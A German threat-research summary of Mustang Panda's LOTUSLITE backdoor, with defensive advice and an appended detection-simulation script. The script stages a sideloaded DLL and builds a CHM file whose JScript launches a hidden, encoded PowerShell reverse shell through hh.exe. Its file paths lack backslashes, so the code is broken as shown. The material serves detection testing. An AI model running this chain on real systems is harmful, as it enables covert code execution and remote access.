Gleicher Datenverkehr, andere Magie: Mustang Panda trifft Indiens Bankensektor und Koreas Geopolitik

Zusammenfassung

Die Acronis Threat Research Unit entdeckte eine neue Variante des LOTUSLITE-Backdoor, die auf Organisationen im indischen Bankensektor und Einzelpersonen im Zusammenhang mit südkoreanischen diplomatischen Angelegenheiten abzielt. Die Malware wird durch DLL-Sideloading bereitgestellt und verlässt sich auf eine von Microsoft signierte legitime ausführbare Datei, um eine bösartige Bibliothek zu laden, die dann über HTTPS mit einem dynamischen DNS-basierten Command-and-Control Server kommuniziert. Basierend auf Infrastrukturmustern und Überschneidungen im Handwerk ordneten Forscher die Aktivität mit moderater Zuversicht Mustang Panda zu.

Untersuchung

Analysten untersuchten eine bösartige CHM-Datei, einen JavaScript-basierten Loader und eine signierte Microsoft_DNX.exe Binärdatei, die eine DLL mit der LOTUSLITE-Nutzlast sideloadete. Ihre Analyse zeigte Aktualisierungen in exportierten Funktionen, Mutex-Namenskonventionen, Befehlszeilenschaltern, Paket-Magie-Werten und Methoden zur API-Auflösung. Das Team verband die Operation auch mit früheren Mustang Panda-Kampagnen durch wiederverwendete Domains mit Dynu-Verwaltung und zugeordneter IP-Infrastruktur.

Minderung

Verteidiger sollten verhindern, dass unautorisierte DLLs in vertrauenswürdige von Microsoft signierte ausführbare Dateien geladen werden, sollten nach den identifizierten Mutex-Mustern und modifizierten Befehlszeilenargumenten überwachen und strenge Kontrollen um den dynamischen DNS-Verkehr anwenden. Sicherheitsteams sollten auch den charakteristischen Paket-Magie-Wert 0xB2EBCFDF erkennen und auf verdächtige HKCU Run-Schlüssel-Modifikationen achten, die auf Persistenz hinweisen könnten.

Reaktion

Wenn diese Aktivität erkannt wird, isolieren Sie das betroffene System sofort, beenden Sie den schädlichen Prozess und entfernen Sie sowohl die sideloadete DLL als auch die missbrauchte ausführbare Datei von der Festplatte. Der Arbeitsspeicher sollte für forensische Analysen erfasst werden, gefährdete Anmeldeinformationen sollten widerrufen werden, und die identifizierten Command-and-Control-Domenen und IP-Adressen sollten blockiert werden. Eine umfassendere Jagd über die Umgebung hinweg sollte auch nach den mit der Kampagne verbundenen Mutex- und Registry-basierten Persistenz-Artefakten durchgeführt werden.

Simulationsdurchführung

Voraussetzung: Die Telemetrie- & Baseline-Vorabprüfung muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Durchführung der Adversary Technique (TTP), die zur Auslösung der Erkennungsregel konzipiert ist. Die Befehle und Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, genau die Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

• Angriffserzählung & Befehle:

  1. Bösartige DLL inszenieren:

     • Der Angreifer kopiert eine bösartige DLL (lotuslite.dll) in dasselbe Verzeichnis wie das legitime Microsoft_DNX.exe. Diese DLL enthält die Backdoor-Nutzlast.

  2. DLL-Sideloading via Microsoft_DNX.exe ausführen:

     • Durch Starten von Microsoft_DNX.exe ohne Argumente lädt Windows die bösartige DLL zuerst (aufgrund der „search order“-Entführung), die die Backdoor ausführt.

  3. Bösartige CHM erstellen:

     • Eine CHM-Datei (evil.chm) wird erstellt, die JavaScript enthält, das beim Rendern eine PowerShell-Reverse-Shell startet.

  4. JavaScript über hh.exe auslösen:

     • Der Angreifer führt hh.exe evil.chmaus, wodurch die HTML Help ausführbare Datei die CHM analysiert und das eingebettete Skript ausführt, um eine Codeausführung unter einem signierten Binärprogramm zu erreichen.

  Diese Sequenz erzeugt zwei eindeutige Sysmon-Prozesserstellungsereignisse, die den Bedingungen der Erkennungsregel entsprechen.

• Regressionstestskript:

  # -------------------------------------------------------------------------
  # LotusLite-Simulation – DLL-Sideloading + hh.exe CHM-Ausführung
  # -------------------------------------------------------------------------
  # Voraussetzungen:
  #   - Sysmon installiert und Protokolle weiterleitend.
  #   - Administratorrechte (erforderlich zum Schreiben in die Programmdateien).
  
  $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe"
  $dnxDir  = Split-Path $dnxPath -Parent
  
  # 1. Bösartige DLL bereitstellen (simulierte Nutzlast)
  $malDllSource = "C:Templotuslite.dll"      # <-- ersetzen durch den echten Nutzlastpfad
  $malDllDest   = Join-Path $dnxDir "lotuslite.dll"
  Copy-Item -Path $malDllSource -Destination $malDllDest -Force
  
  # 2. Starten Sie Microsoft_DNX.exe, um DLL-Sideloading auszulösen
  Write-Host "[*] Starte Microsoft_DNX.exe für DLL-Sideloading..."
  Start-Process -FilePath $dnxPath -WindowStyle Hidden
  
  # 3. Bösartige CHM erstellen, die JavaScript enthält (vereinfachtes Beispiel)
  $chmPath = "C:Tempevil.chm"
  $htmlContent = @"
  <HTML><HEAD>
  <SCRIPT language=`"JScript`">
  var shell = new ActiveXObject("WScript.Shell");
  shell.Run("powershell -nop -w hidden -EncodedCommand <base64-rev-shell>", 0);
  </SCRIPT>
  </HEAD><BODY></BODY></HTML>
  "@
  
  $tempHtml = "C:Tempevil.html"
  $htmlContent | Out-File -FilePath $tempHtml -Encoding ASCII
  
  # Verwenden Sie makecab, um das HTML in einem CHM zu verpacken (erfordert Windows SDK-Tools)
  $makeCab = "$env:WINDIRsystem32makecab.exe"
  & $makeCab /D "CompressionType=MSZIP" $tempHtml $chmPath
  
  # 4. Ausführen des CHM über hh.exe
  Write-Host "[*] Starte hh.exe mit bösartiger CHM..."
  Start-Process -FilePath "$env:SystemRootSystem32hh.exe" -ArgumentList $chmPath -WindowStyle Hidden
  
  # Bereinigen temporäre Dateien (bösartige DLL für nachlaufende Analyse behalten)
  Remove-Item $tempHtml -Force
  Write-Host "[*] Simulation komplett."

• Bereinigungskommandos:

  # -------------------------------------------------------------------------
  # Bereinigung für LotusLite-Simulation
  # -------------------------------------------------------------------------
  $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe"
  $dnxDir  = Split-Path $dnxPath -Parent
  $malDllDest = Join-Path $dnxDir "lotuslite.dll"
  $chmPath = "C:Tempevil.chm"
  
  # Bösartige DLL entfernen
  if (Test-Path $malDllDest) {
      Remove-Item $malDllDest -Force
      Write-Host "[*] Bösartige DLL entfernt."
  }
  
  # CHM entfernen
  if (Test-Path $chmPath) {
      Remove-Item $chmPath -Force
      Write-Host "[*] Bösartige CHM entfernt."
  }
  
  # Optional verbleibende Prozesse beenden (falls vorhanden)
  Get-Process -Name "Microsoft_DNX","hh" -ErrorAction SilentlyContinue | Stop-Process -Force
  Write-Host "[*] Bereinigung abgeschlossen."